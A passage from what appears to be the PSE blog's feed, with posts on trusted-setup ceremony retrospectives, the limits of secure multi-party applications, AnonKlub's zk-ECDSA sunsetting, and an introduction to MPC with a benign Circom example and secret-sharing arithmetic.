1. **Perpetual Powers of Tau**: The project was manually maintained and run by a single team member. This approach allowed to move fast and provide great user support but it also created barriers when the team member left PSE. The solution for this was to document all the process and procedures. 2. **KZG ceremony**: The project was developed by multiple external teams that needed coordination and a strict project management workflow. Even though we were able to successfully finish the project without major issues, a key lesson learned was to plan and prioritize the roadmap with all parties involved before starting work on the project. 3. **p0tion:** The project was inherited from another team. The initial project was built prioritizing infrastructure prices rather than flexibility to use on any infrastructure platform. This approach helped to save costs and easily manage the tool, but external parties would have to invest time and knowledge to set up all the required infrastructure for their specific needs. Overall we learned the importance of a clear and structured roadmap and project management process. We also learned that it's far more efficient and beneficial to get early feedback on a work-in-progress rather than waiting to present a finished but potentially misguided solution. **Besides the previous recommendation of implementing a structured project management approach, we recommend encouraging a culture of early code review, even on incomplete work: a discussion on a "half-baked" code is better than no discussion that leads to the development of an off-target solution.** ### Technical Considerations The team encountered different technical challenges in each project that were addressed through team collaboration and external advisory: 1. **Perpetual Powers of Tau:** Large files and long computations require knowledge on devops: instances spin-up and file backups. There are different procedures and nomenclatures depending on the infrastructure provider that the team members and maintainers have to consider when running a large ceremony like Perpetual Powers of Tau 2. **KZG ceremony:** It is important that team members have flexibility to learn about different programming languages fast in order to collaborate with external teams. The main KZG ceremony server and crypto library was built using Rust and the team needed to understand the code in order to integrate it into a frontend (Typescript + React) 3. **p0tion**: The mix between different infrastructure providers can help reduce costs, but it would increase complexity when deploying the tool. In our opinion, when building open-source tools, developers should aim for easy-to-deploy strategies. In general the project highlighted the potential benefits of diversifying the technology stack and carefully weighing the convenience of third-party packages against the benefits of custom solutions, such as reduced prices, computation time and greater backup flexibility. ## Conclusion and Future Outlook ### Long Term Support (LTS) As we conclude active development, these trusted setup projects are entering a Long-Term Support phase. Specifically: - [Perpetual Powers of Tau](https://github.com/privacy-scaling-explorations/perpetualpowersoftau) - Maintain the archive of past contribution files - Coordinate future contributions manually through the #⛩-ppot channel on the PSE Discord - [KZG ceremony](https://github.com/zkparty/trusted-setup-frontend) - No further development planned - Website [www.ceremony.ethereum.org](http://www.ceremony.ethereum.org/) will stay up and running for users to check the contributors' list and the final transcript - Codebase will remain public, but developers are generally recommended to use p0tion as a more general tool for all ceremonies - [p0tion](https://github.com/privacy-scaling-explorations/p0tion) - Cease development of new features - Address critical bugs if and when discovered - Maintain the Discord channel open for community questions and issues - The project is available for community development of new features (faster computations, better UI dashboards, etc). The Trusted Setups project has made significant contributions to the Ethereum ecosystem and the field of zero-knowledge proofs. As it transitions into a new phase, its legacy continues through shared tools and knowledge. The experiences and lessons learned will inform future initiatives in cryptography and blockchain. \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ _PSE is an Ethereum Foundation team building free resources_ for people expanding the world of programmable cryptography. _Learn more at [pse.dev](https://pse.dev/), join our [Discord](https://discord.gg/yujxyBdCfM), or [follow us on X](https://x.com/PrivacyEthereum)._ ]]> trusted setups p0tion powers of tau kzg zero-knowledge proofs cryptography ethereum groth16 security infrastructure/protocol <![CDATA[Why We Can't Build Perfectly Secure Multi-Party Applications (yet)]]> https://pse.dev/blog/why-we-cant-build-perfectly-secure-multi-party-applications-yet https://pse.dev/blog/why-we-cant-build-perfectly-secure-multi-party-applications-yet Tue, 14 Jan 2025 00:00:00 GMT <![CDATA[This post was written by PSE researcher Enrico Bottazzi. Thanks to Pia Park for discussions and reviews.]]> <![CDATA[ In this post, we'll explore why building secure multi-party applications, which aim to compute a function over inputs from different parties while keeping those inputs private, is impossible today. We use Multi-party Trade Credit Set-off (MTCS) as an example, showing how technologies like multi-party computation and fully homomorphic encryption fall short of perfect security due to a fundamental tradeoff between security and liveness. The current solution involves a delegated security model, but it's not ideal. Are there any robust patches to this problem, or will we have to wait for indistinguishability obfuscation? ### Multilateral Trade Credit Set-off Multilateral Trade Credit Set-off (MTCS) is a process run by a service provider that collects trade credit data (i.e. obligations from a firm to pay another firm) from a network of firms and detects cycles of debts that can be removed from the system. The process yields liquidity savings for the participants, who can discharge their debts without relying on expensive loans. ![Trade credit network before and after MTCS](/articles/why-we-cant-build-perfectly-secure-multi-party-applications-yet/R8q8o6EwgXE3RimPPHMhu.webp) Trade credit network before and after MTCS We propose an MTCS protocol that protects firms' sensitive data, such as the obligation amount or the identity of the firms they trade with. The results are presented in the paper _[Multilateral Trade Credit Set-off in MPC via Graph Anonymization and Network Simplex](https://eprint.iacr.org/2024/2037),_ authored by Enrico Bottazzi, Chan Nam Ngo, and Masato Tsutsumi. Despite what you might think, I am not here to celebrate our results. The curious reader who is interested in how we _reduced the asymptotic round complexity of the secure minimum cost flow algorithm_ is warmly invited to check out the paper. Instead, I want to abstract the characteristics of this specific application to **any** secure multi-party application and analyze how technologies such as fully homomorphic encryption (FHE) or secure multi-party computation (MPC) yield an **imperfect security model** given an inherent tradeoff between security and liveness. However, not all hope is lost: we present some temporary patches until we reach [indistinguishability obfuscation](https://www.leku.blog/io/), which will break this tradeoff once and for all and allow us to build fully secure multi-party applications. ### Secure multi-party applications A secure multi-party application is an application in which a function has to be computed over inputs coming from different parties, and this input should remain private: each party should not learn anything beyond what can be inferred from their input and the output of the function. Note that this definition is independent from the technology used to build such application. In the real world, these applications are usually built leveraging a third party that performs the function and is **trusted** to keep the data for themselves and not do anything malicious with it. This is also the case for MTCS: Slovenia has been running it country-wide since 1991. The process is run every month by having the national firms submit their invoice to a government agency, which performs the clearing by having access to the entire trade credit graph. The low [participation rate](https://www.ajpes.si/Bonitetne_storitve/Vecstranski_pobot/Porocila#b671) (1500 firms, 0.2% of the total, in 2022) suggests that Slovenian firms might feel more comfortable in keeping their sensitive trade credit data for themselves and not join the process, despite the benefits that it yields. In the following sections, we'll iteratively try to build such a secure multi-party app, that does not depend on a single trusted third party. ![MTCS via a trusted third party](/articles/why-we-cant-build-perfectly-secure-multi-party-applications-yet/ZJT8oZgkydYe6GS_DzIaJ.webp) MTCS via a trusted third party ### Building secure multi-party applications with MPC MPC allows $n$ parties to compute a function on their combined private input without disclosing it to each other. In its most secure form, each input is split within $n$ shares such that any combination of $n-1$ shares reveals absolutely nothing about the underlying information. Functions can be performed "obliviously" by having the parties exchange information every time a multiplication is performed. With the strongest security assumptions, privacy and correctness of the executed function are guaranteed as long as one participant is honest. From the point of view of a firm, this is ideal: as long as I keep my shares protected, no one can learn any information. But the devil lies in the details! In a protocol with $n$ participants, $n \* (n-1) / 2$, communication channels need to exist to carry out the computation correctly, making the system highly inefficient (and therefore impractical) for networks of tens of thousands of firms. More importantly, those channels need to remain active during the whole protocol to guarantee its finality. Any malicious actor can decide to drop off in the middle of the algorithm execution, making it impossible for the others to recover their output. ### Building secure multi-party applications with FHE When it comes to performing computation over encrypted data, fully homomorphic encryption (FHE) is another possible solution. The mental model for FHE is straightforward: any untrusted server can perform $f$ on encrypted data without learning any information about the underlying data. While MPC is information-theoretic secure, in FHE the privacy of the data is guaranteed by the hardness of solving a specific mathematical problem. A further guarantee of correct computation can be achieved, with an additional cost, by slapping a zkSNARK on top of the server's operation. But there's a caveat: FHE still requires someone to hold the decryption key. Outsourcing the ownership of the decryption key to a single party is not a good idea since this party would have god-mode read access to every encrypted data. A more secure approach is to run a [distributed key generation](https://en.wikipedia.org/wiki/Distributed_key_generation) (DKG) ceremony between the $n$ firms, encrypt all the data under the generated encryption key, outsource the computation of $f$ to a server and require the firms to come together again to decrypt each output and deliver it to the designated receiver firm. The decryption part must be done via MPC. This brings us to the same problem we encountered before: one negligent (or malicious) firm that loses its decryption key share is sufficient to bring the whole protocol to a halt. ### The delegated security model A perfect security model, "trust no one but yourself," presents limitations given the interaction needed between the $n$ protocol participants. Given that a secure MTCS protocol should support tens of thousands of firms, the price of this security level is too high for a practical instantiation. Sora describes this as a tradeoff between safety and liveness. ![Where x-axis represents the probability of success based on liveness assumptions. Source: https://speakerdeck.com/sorasuegami/ideal-obfuscation-io](/articles/why-we-cant-build-perfectly-secure-multi-party-applications-yet/f7BtryGDapIIIC4fXczn5.webp) Where x-axis represents the probability of success based on liveness assumptions. Source: https://speakerdeck.com/sorasuegami/ideal-obfuscation-io And indeed, the solution we proposed in the paper does not achieve a perfect security model. Instead, we rely on a client-to-server MPC protocol in which the computation (and the security) of the security is delegated to three servers. The strongest security assumption can guarantee that the privacy of the firm's data is safe as long as at least one of the servers is honest. However, the firms cannot do much to prevent the server managers from secretly meeting and gathering their shares to reconstruct any data involved. To make things even worse, there is no immediate way to detect this malicious action and keep the servers accountable for any misbehaviour. ![MTCS via MPC](/articles/why-we-cant-build-perfectly-secure-multi-party-applications-yet/DrwIYwRjsbbqkZ5bwaS5I.webp) MTCS via MPC ### Temporary patches and endgame There is a set of patches that aim to partially increase the security of such "imperfect" secure multi-party applications. The easiest to implement relies on social dynamics and involves choosing delegates that have conflicting interests with each other, such that a collusion between them is unlikely. For example, in the paper, we propose a delegated security model in which the three server managers are the National Chamber of Commerce, the tax authority, and a payment processor. A more advanced implementation requires the servers to wrap their computation inside a TEE to add an additional layer of security: to assemble their shares, the servers must first break the TEE security. A more theoretical approach involves [traitor tracing](https://eprint.iacr.org/2023/1724) systems to add accountability for misbehaving servers. The endgame for secure multi-party applications is [indistiguishability obfuscation](https://www.leku.blog/io/) (iO), which promises to be able to break the tradeoff between safety and liveness by removing any need for interaction during the decryption/output reconstruction phase. In particular, the decryption key of a FHE scheme can be embedded inside an obfuscated program as a result of a trusted set-up ceremony: as long as one participant is honest, no human can recover the key. The obfuscated program is designed to take a FHE ciphertext as input together with a proof that such ciphertext is allowed to be decrypted according to the predefined application logic. The program will verify the proof, and, on successful verification, output the decryption of the ciphertext. Since the obfuscated program is public, the decryption can be performed by anyone without requiring any interaction between parties holding the key. While there are no practical iO implementations yet, the potential impact on secure multi-party applications is profound. At PSE, we're starting a new team to explore novel approaches based on recent publications to build practical iO. If you're a researcher interested in contributing, reach out to [me](https://t.me/demivoleegaston)! You can also join the discussion on our brand new [PSE forum](https://forum.pse.dev/post/1/7) 🙌 ]]> mpc secure multi-party computation fhe fully homomorphic encryption <![CDATA[AnonKlub: Reflections on Our Journey in Privacy-Preserving Solutions]]> https://pse.dev/blog/anonklub-reflections-on-our-journey-in-privacy-preserving-solutions https://pse.dev/blog/anonklub-reflections-on-our-journey-in-privacy-preserving-solutions Tue, 01 Oct 2024 00:00:00 GMT <![CDATA[This post was written by the AnonKlub team.]]> <![CDATA[ One year and half ago, we embarked on an ambitious journey to explore the potential of zk-ECDSA in bringing enhanced privacy to the Ethereum ecosystem. This research initiative was introduced to the community through a **[blog post detailing the state of zk-ECDSA and its promising applications](https://mirror.xyz/privacy-scaling-explorations.eth/djxf2g9VzUcss1e-gWIL2DSRD4stWggtTOcgsv1RlxY)**. As our research progressed and we began to develop practical implementations, our project evolved and was eventually rebranded as AnonKlub. This name change reflected our shift from pure research to a more application-focused approach, aiming to bring privacy-preserving solutions directly to Ethereum users. Today, as we announce the sunsetting of AnonKlub, we'd like to reflect on our journey from those early days of zk-ECDSA exploration to our efforts in building real-world privacy tools. We'll share our achievements, the challenges we faced, and the valuable lessons we've learned along the way. ## Our Vision and What We Built AnonKlub began with the ambitious goal of leveraging zk-ECDSA to create privacy-preserving solutions for Ethereum users by allowing anonymously proving ownership of an ethereum address. We envisioned an ecosystem where users could interact with dApps, participate in DAOs, and manage their digital assets without compromising their privacy, that is without doxxing their address(es). Over the course of the project, we managed to generate anonymous Ethereum address ownership proofs using three distinct proving frameworks: Circom, Spartan/Sapir, and Halo2. ![The AnonKlub architecture (https://anonklub.github.io/#/architecture)](/articles/anonklub-reflections-on-our-journey-in-privacy-preserving-solutions/zMN7BV3cKC4pol4SIyGKG.webp) The AnonKlub architecture (https://anonklub.github.io/#/architecture) ## Challenges We Faced Despite our achievements, we encountered several significant challenges: ### Framework selection One of the most valuable lessons from our AnonKlub journey came from our framework selection process. Three requirements were paramount, yet impossible to fulfill simultaneously given the current maturity of zero-knowledge technology: 1. **Privacy**: Client-side proving is crucial to prevent leaking any link between proof inputs and proof results to a proving server. Users should not have to let their private data leave their device. 2. **Trustlessness**: On-chain verification via smart contracts ensures a trustless system, whereas relying on off-chain servers (the server that hosts a web client that does the verification in the browser) introduces trust assumptions. 3. **Performance**: In today's fast-paced digital world, users expect quick interactions. Any proving process taking longer than 30 seconds significantly degrades user experience. Considering the approximate proving time of 1 minute, this falls short when compared to typical Web2 experiences, where users are accustomed to near-instantaneous responses. This presents a challenge for building more impactful products that attract a wider user base. While a 1-minute proving time may not be fast enough for many applications, it's important to consider: - The type of applications using these proofs: For instance, generating an anonklub proof is likely an occasional or rare event, rather than a frequent action. In such cases, users might be more tolerant of longer processing times. - The use of web workers: By triggering the proof generation in the background, users can continue interacting with the application without a frozen UI. They can perform other tasks and receive a notification when the proof is complete. These factors can help mitigate the impact of longer proving times. However, continued efforts to optimize and reduce proving time will be crucial for broader adoption and improved user experience in the long run. Our journey through three different frameworks highlighted the challenges in balancing these requirements. ![Benchmarking Results of ZK Frameworks Used](/articles/anonklub-reflections-on-our-journey-in-privacy-preserving-solutions/_mhlWZpoF_CiMB9Zy9TA4.webp) Benchmarking Results of ZK Frameworks Used ![Halo2 Proving Time Breakdown (no GPU)](/articles/anonklub-reflections-on-our-journey-in-privacy-preserving-solutions/3y1L8xxdN52vkAJOXbNji.webp) Halo2 Proving Time Breakdown (no GPU) ![Privacy vs Performance Trade-Offs Of Different ZK Frameworks Used](/articles/anonklub-reflections-on-our-journey-in-privacy-preserving-solutions/TqCXT1IJ7_dwQp9Xemqa-.webp) Privacy vs Performance Trade-Offs Of Different ZK Frameworks Used ### **PLUME signature/nullifier scheme adoption hurdles** Nullifying zk ECDSA proofs is hard. The best candidate for robust and secure nullifier for zk proofs of ecdsa signature is [PLUME](https://blog.aayushg.com/nullifier/). PLUME signatures aren't standard signatures that mainstream wallets can build out of the box: the PLUME signature scheme is a new feature that needs to be implemented into mainstream wallets. As long as mainstream wallets don't adopt PLUME, users can't easily generate "deterministic and verifiable nullifiers on ECDSA". Meaning they can't use any applications that would make use of ECDSA zk proofs, such as AnonKlub. ## Why We're Stopping The decision to sunset AnonKlub was not taken lightly, but was ultimately driven by a combination of challenges such as the ones mentioned above and strategic considerations: 1. **Technological Limitations**: As outlined above, we found ourselves at an impasse. The current state of zero-knowledge technology made it impossible to simultaneously achieve the level of privacy, trustlessness, and performance we deemed necessary for a truly user-friendly and secure solution. This fundamental challenge proved more persistent and resource-intensive to overcome than we initially anticipated. 2. **Ecosystem Readiness**: The slow adoption of critical components like PLUME in mainstream wallets has created a significant bottleneck for the practical application of our work. Without widespread integration of these foundational elements, the real-world impact of our solutions remains limited. 3. **Evolving Privacy Landscape**: As with any ambitious project in the cutting-edge tech space, we've had to continually evaluate the balance between our goals, available resources, and potential impact. The rapid evolution of privacy solutions in the Ethereum ecosystem has opened up new, promising avenues for research and development. Given the challenges we've faced and this changing landscape, we've concluded that our resources could potentially drive greater innovation and progress if redirected to other pressing challenges. ## Future Hopes Looking to the future, we hope that our work with AnonKlub will serve as a stepping stone for others in the privacy-preserving space. We believe that the challenges we faced and the solutions we explored will provide valuable insights for future projects. We remain optimistic about the future of privacy in the Ethereum ecosystem. We hope to see continued development in areas such as: 1. Improved performance in zk-ECDSA implementations, possibly through GPU acceleration or innovative uses of folding schemes. 2. Wider adoption of privacy-preserving technologies like PLUME in mainstream wallets. 3. New approaches to balancing privacy, usability, and decentralization in blockchain applications. ## Conclusion While AnonKlub is ending, our commitment to advancing privacy solutions in the blockchain space remains strong. We're grateful for the support and interest from the community throughout this journey. We encourage others to build upon our work, learn from our experiences, and continue pushing the boundaries of what's possible in blockchain privacy. The [code](https://github.com/anonklub/anonklub) and [documentation](https://anonklub.github.io/) from AnonKlub will remain available as a resource for the community. We look forward to seeing how future projects will take these ideas further and bring robust, user-friendly privacy solutions to the Ethereum ecosystem. For more about PSE, visit our [website](https://pse.dev/), _Header image credit © [Jonathan Kington](https://www.geograph.org.uk/profile/31463) ([cc-by-sa/2.0](http://creativecommons.org/licenses/by-sa/2.0/))_ ]]> zk-ecdsa privacy ethereum zero-knowledge proofs circom halo2 spartan anonymity identity cryptography <![CDATA[Secure Multi-Party Computation]]> https://pse.dev/blog/secure-multi-party-computation https://pse.dev/blog/secure-multi-party-computation Tue, 06 Aug 2024 00:00:00 GMT <![CDATA[This post was written by [Brechy](https://github.com/brech1). Thanks [Nam Ngo](https://github.com/namnc) for the feedback and review!]]> <![CDATA[ Secure multi-party computation (MPC) enables a group of participants to collaborate on a specific task that requires their data as input, ensuring the privacy of their inputs and the correctness of the output. ![](/articles/secure-multi-party-computation/Kek3E-J1uGuMT7Cj-SYqo.webp) This allows performing operations on private information without disclosing it or involving a trusted third party. The only data each party receives is the function's result. There are several MPC protocols. This post provides an overview of the most general concepts and tools shared by many of them. ## Introduction MPC enables multiple parties to collaborate on a specific function without revealing their private data to one another. This ensures that no single party can access the data of others. The participants agree on a particular task or function to perform, and then use an MPC protocol to collectively determine the result. We can think of a sample use case of managing the private keys of an Ethereum account: - A set of participants is each given a segment of the secret key. - Using an MPC protocol, they can input their segments and run the protocol to execute the signature function. No single participant can sign a transaction unless **all or a sufficient number** of participants input their secret key segments, and no participant has enough information to reconstruct the secret key. ## Protocol Scope MPC protocols can be categorized based on the functions they are designed to run, falling into two main categories: generic and specialized. ### Specialized Protocols Specialized protocols are designed and optimized for a specific functionality. These protocols are built around a specific task, like Private Set Intersection (PSI) or voting. Specialized protocols leveraging the specific structure of a function can offer significant performance improvements. ### Generic Protocols Generic protocols can compute any function that can be represented as a fixed-size circuit. Yao's Garbled Circuits protocol is an example of a generic protocol. They can be applied to a wide range of problems. ## Secure Protocol Requirements We can use the following properties to help us define an **ideal** secure protocol: - **Privacy:** No party should learn anything more than the function output. - **Correctness:** Each party is guaranteed to receive the correct output. - **Independence of Inputs:** Every party can decide its input independently of other parties. - **Guaranteed Output Delivery:** No party can prevent other parties from receiving the function output. - **Fairness:** If one party receives the function output, every party will receive the output. These guarantee the correctness of the output and ensure that no party can disrupt the process or gain an unfair advantage. However, additional measures are needed to ensure input integrity and protect the output from giving away information. ### Input Integrity Participants can input any value, potentially manipulating the process. For instance, in an auction, a participant could falsely input an extremely high bid to ensure they win, even though their actual bid is much lower. To mitigate this, mechanisms like requiring signed inputs verified can be used, though this can increase computational costs. ### Result Information The process result could reveal information about the inputs or the participants. Using the auction example, if the final highest bid is revealed, other participants can infer details about the highest bidder's strategy or budget. ## Use Cases Let's explore some real world use cases. ### Privacy Preserving Machine Learning It's possible to enhance privacy during the machine learning training and inference phases. During training, multiple parties can collaboratively train a model without disclosing their individual datasets. For inference, it can ensure that both the client's input data and the server's model remain confidential. This allows clients to receive model outputs without exposing their data and ensures that the provider's model remains private. ### Threshold Cryptography Companies can enhance key protection by distributing key shares across multiple secure environments. This ensures that no single location holds the entire private key, reducing the risk of key compromise. An adversary would need to breach all environments to access the complete key. This protects cryptographic keys, secures authentication processes and enforces signature approval policies. ### Collaborative Data Analysis Multiple parties can combine and analyze datasets without disclosing private information. Organizations can securely integrate various records to study trends while adhering to privacy regulations. This application enables data analysis without compromising confidentiality. ## Circuits Many protocols use a circuit to represent the function being computed. The circuit's structure and operations remain constant and are not influenced by user inputs. As a result, the runtime of the protocol does not disclose any information about the inputs. ![](/articles/secure-multi-party-computation/02PrsVGP55vTaEOeac28r.webp) A simple circuit: $Output = ((A + B) * (C + D)) + E$ These circuits can be either **boolean** circuits that process binary variables using logic gates, or **arithmetic** circuits that perform operations on numerical values. Boolean circuits need to redefine basic operations for **every bit width**: supporting arithmetic on n-bit integers in such a protocol requires implementing n-bit addition and multiplication circuits. Arithmetic circuits typically operate over a finite field, where the size of the field is set in advance. Although arithmetic circuits are primarily designed for arithmetic operations, non-arithmetic operations such as comparisons and equality checks can also be implemented. Expressing the target computation as a circuit can be challenging since not every function can be easily converted into a circuit format, but compilers can be used for this. However, every function must be deterministic and free of indefinite loops. A compiler converts a program written in a specialized, high-level language to an intermediate representation (often a circuit). The circuit is then passed as input to a runtime, which executes an MPC protocol and produces an output. Let's consider an example where our function performs matrix element-wise multiplication, and our input and output are 2x2 matrices. We can use Circom and the [circom-2-arithc](https://github.com/namnc/circom-2-arithc/) compiler to create our circuit. ```js template matrixElementMul (m,n) { signal input a[m][n]; signal input b[m][n]; signal output out[m][n]; for (var i=0; i < m; i++) { for (var j=0; j < n; j++) { out[i][j] <== a[i][j] * b[i][j]; } } } component main = matrixElementMul(2,2); ``` The compiled circuit will consist of four arithmetic multiplication gates: ```json [ { "op": "AMul", "lh_in": 0, "rh_in": 4, "out": 8 }, { "op": "AMul", "lh_in": 1, "rh_in": 5, "out": 9 }, { "op": "AMul", "lh_in": 2, "rh_in": 6, "out": 11 }, { "op": "AMul", "lh_in": 3, "rh_in": 7, "out": 10 } ] ``` ### Circuit Diagram ![](/articles/secure-multi-party-computation/0n_GrMSZOLlaK9QmICESR.webp) For this example, it might have been quicker to manually construct the gates. However, we now have a function that can serve as a building block for actual matrix multiplication or more complex operations. ## Oblivious Transfer Oblivious transfer (OT) is a cryptographic two-party protocol. It allows the receiving party to [obliviously](https://www.oxfordlearnersdictionaries.com/definition/english/obliviously) select one of the sending party's inputs . The protocol's privacy guarantees ensure that the sender does not learn the choice of the receiver and the receiver does not learn the non selected inputs. Let's review a basic example, the **1-out-of-2 oblivious transfer**. In this protocol, the sender has two messages, 𝑚 0 and 𝑚 1 . The receiver wants to learn one of these messages, 𝑚 𝑏 , without the sender knowing which message was chosen. ![](/articles/secure-multi-party-computation/C-_iyr8RuoKAaFhMwSU-h.webp) 1-out-of-2 Oblivious Transfer protocol - Initialization: - The sender has two messages: 𝑚 0 and 𝑚 1 . - The receiver wants to choose one of these messages, indexed by 𝑏 , where 𝑏 ∈ { 0 , 1 } . - Communication Phase: - The receiver generates a pair of public and secret keys ( 𝑝 𝑘 , 𝑠 𝑘 ) . - The receiver sends 𝑝 𝑘 to the sender. - The sender encrypts 𝑚 0 and 𝑚 1 using 𝑝 𝑘 in such a way that only the selected message 𝑚 𝑏 can be decrypted by the receiver using the secret key 𝑠 𝑘 . - Transfer Phase: - The sender sends the encrypted messages to the receiver. The receiver uses 𝑠 𝑘 to decrypt the chosen message 𝑚 𝑏 . - This way we ensure that data privacy is maintained: - The receiver learns only the chosen message 𝑚 𝑏 and nothing about the other message 𝑚 1 − 𝑏 - The sender does not learn which message the receiver chose. ## Garbled Circuits Garbled circuits (GCs) were introduced by Andrew Yao in the 1980s as a technique for secure **two-party computation (2PC)**. The GC protocol involves two parties, the garbler and the evaluator, who work together to securely evaluate a function represented as a Boolean circuit. The function consists of AND and XOR gates, and each party contributes part of the input. ![](/articles/secure-multi-party-computation/SiLbmmhQPfgfdjITGQnAA.webp) _Garbled Circuit protocol_ Here's a step-by-step overview of how the GC protocol works for a simple circuit. ### Circuit Our circuit will be constructed with only one AND gate. The truth table shows the output for all possible input combinations: ![](/articles/secure-multi-party-computation/xoTM5PYnM42abFV5xDvtn.webp) ### Garbling Garbling is a process by which the truth table is obfuscated. The garbler picks four random strings, or **labels:** ![](/articles/secure-multi-party-computation/slKxMPXbpepuMk2KINjc0.webp) The garbler then uses every pair of labels corresponding to a possible scenario to encrypt the output corresponding to that scenario. ![](/articles/secure-multi-party-computation/Br-ye9lyqq6ZKWEhqRjz7.webp) The two relevant labels are put through a key derivation function 𝐻 to derive a symmetric encryption key, and that key is used to encrypt 𝑎 ∧ 𝑏 . Then the garbled gate consists of the four resulting ciphertexts, in a random order. ![](/articles/secure-multi-party-computation/qbwHH7Sb-pjnwWJf3m4es.webp) ### Evaluation Once the evaluator receives the garbled gate, it needs to decrypt exactly one ciphertext: the one corresponding to the real values 𝑎 and 𝑏 , encrypted with $H(W_{a}^A, W_{b}^B)$. In order to do this, it needs to receive from the garbler $W_{a}^A$ and $W_{b}^B$. Since the garbler knows 𝑎 , he can send the evaluator $W_{a}^A$. The labels are all random, independent, and identically distributed, so the evaluator won't learn anything about 𝑎 from $W_{a}^A$ However, getting $W_{b}^B$ to the evaluator is harder. The garbler can't send both $W_{0}^B$ and $W_{1}^B$ to the evaluator because that will allow them to decrypt two ciphertexts in the garbled gate. Similarly, the evaluator can't simply ask for the one they want because they don't want the garbler to learn 𝑏 . So, the garbler and the evaluator use Oblivious Transfer, which allows the evaluator to learn only $W_{b}^B$ without revealing 𝑏 to the garbler. Note that in order for this to work, the evaluator needs to know when decryption succeeds and when it doesn't. Otherwise, there's no way for them to know which ciphertext yields the correct answer. ### Example Walkthrough Let's create an example walkthrough for the case where the garbler's input is $a = 0$ and the evaluator's input is $b = 1$. 1. **Initialization**: - Garbler generates labels for inputs $a$ and $b$. - Garbler creates and transfer the garbled circuit. 2. **Input Label Distribution**: - Garbler sends $W_{0}^A$ to evaluator (since $a = 0$). 3. **Oblivious Transfer**: - Evaluator uses Oblivious Transfer to receive $W_{1}^B$ (since $b = 1$). 4. **Evaluation**: - Evaluator uses the keys $W_{0}^A$ and $W_{1}^B$ to decrypt the corresponding entry in the garbled table: - $Enc(H(W_{0}^A, W_{1}^B), W_{0}^{out}) \rightarrow W_{0}^{out}$ 5. **Output Reconstruction**: - Evaluator maps the decrypted key $W_{0}^{out}$ to the output value 0. ## Secret Sharing Secret sharing is an approach for distributing a secret value using **shares** that separately do not reveal any information about the secret. The secret value can only be reconstructed if all or a sufficient number of shares are combined. Let's review how **Additive Secret Sharing** works, in an example involving 3 participants and an addition operation. In this scheme, the secret is divided into $m$ parts, and the secret can only be reconstructed when all parts are combined. ### Secret Splitting - Choose a secret value. - $S = 1337$ - Choose $m-1$ random numbers as shares. - $m = 3$ - $S_1 = 220$ - $S_2 = 540$ - Calculate the final share $S_3$. - $S = S_1 + S_2 + S_3$ - $S_3 = S - (S_1 + S_2) = 1337 - (220 + 540) = 577$ Let's split another secret to perform an addition: - $T = 1440$ - $T_1 = 118$ - $T_2 = 330$ - $T_3 = 992$ Distribute the shares to the participants. - Participant 1: $S_1$ and $T_1$ - Participant 2: $S_2$ and $T_2$ - Participant 3: $S_3$ and $T_3$ ### Perform Operation Each participant can perform the addition locally. - $R_1 = S_1 + T_1 = 220 + 118 = 338$ - $R_2 = S_2 + T_2 = 540 + 330 = 870$ - $R_3 = S_3 + T_3 = 577 + 992 = 1569$ ### Secret Reconstruction Reconstruct the result from the shares: - $R = S + T$ - $R = (S_1 + S_2 + S_3) + (T_1 + T_2 + T_3) = (S_1 + T_1) + (S_2 + T_2) + (S_3 + T_3)$ - $R = 338 + 870 + 1569 = 2777$ Since operations on secret-shared numbers produce secret-shared numbers, they can be executed one after the other and create more complex functions. This way, any function given as a circuit can be evaluated on secret-shared numbers: - The secret inputs of the parties are secret-shared between them. - The circuit is evaluated, gate by gate, using secret-shared numbers. - The output is reconstructed from the final shares. **Reconstruction only happens at the end.** In all previous steps, parties work with their own shares, so as not to reveal anything about the secret inputs. ## Security Implications **No single party can be inherently trusted.** Parties interact with each other through the protocol and this outlines the expected behaviors and communications for each participant. The protocol specifies the actions to take at each step, including what messages to send, to whom, and when to stop. Adversaries can **corrupt** parties at any stage of the process. Depending on the threat model, corrupted parties might either follow the protocol or deviate from it: - **Semi-honest (Honest-but-curious)**: These adversaries corrupt parties but follow the protocol as specified. While they execute the protocol honestly, they try to learn as much as possible from the messages they receive from other parties. - **Malicious (Active)**: These adversaries may cause corrupted parties to deviate from the protocol. In terms of security guarantees, we can classify protocols in: - Protocols guaranteeing security in the presence of an **honest majority** - Protocols guaranteeing security against an **arbitrary number of corrupted parties** Protocols of the first type are generally more **efficient** than those of the second type, even in hybrid models that implement ideal cryptographic primitives such as oblivious transfer. However, the second type of protocols offers a significant qualitative advantage, as they provide security without requiring any trust among parties. This is especially important in secure **two-party computation**. ## Performance Despite the demand for this technology, its practical adoption remains limited. This limitation is mainly due to the efficiency challenges associated with the underlying protocols. Although generic protocols have been known for over 30 years, they were largely theoretical and too inefficient for practical use. Two key factors impact performance: **communication** and **computation**. ### Communication This includes the volume of data exchanged and the number of communication rounds required. - **Data Volume**: Total size of messages exchanged between parties during the protocol execution. - **Communication Rounds**: Number of back-and-forth message exchanges required to complete the protocol. ### Computation Refers to the amount of processing power required. The key factors here are the **complexity** and the **number** of cryptographic operations. As evidenced by the results in \[[1](https://www.net.in.tum.de/fileadmin/TUM/NET/NET-2019-06-1/NET-2019-06-1_02.pdf)\], MPC is feasible for intranet applications with **limited peers, low latency, and high transmission rates**. However, it faces significant execution time increases under less optimal conditions. Specifically: - **Transmission Rate**: Lower transmission rates lead to notable execution time delays. - **Number of Peers**: An increase in the number of peers results in longer execution times. - **Network Latency**: Even small delays in network latency can cause **substantial** increases in execution time. Therefore, while real-time applications of MPC currently seem unfeasible, use cases with softer time constraints or faster infrastructure remain viable. ## Programmable Cryptography MPC can be integrated with zero-knowledge proofs and fully homomorphic encryption to enhance security and functionality. Consider exploring the following resources on the [PSE Blog](https://mirror.xyz/privacy-scaling-explorations.eth/): - [Zero to Start: Applied Fully Homomorphic Encryption](https://mirror.xyz/privacy-scaling-explorations.eth/D8UHFW1t48x2liWb5wuP6LDdCRbgUH_8vOFvA0tNDJA) - [Beyond Zero-Knowledge: What's Next in Programmable Cryptography?](https://mirror.xyz/privacy-scaling-explorations.eth/xXcRj5QfvA_qhkiZCVg46Gn9uX8P_Ld-DXlqY51roPY) ## Conclusion Secure multi-party computation is a powerful cryptographic tool that allows multiple parties to work together on a function without revealing their private data. Despite its potential, practical use has been slow due 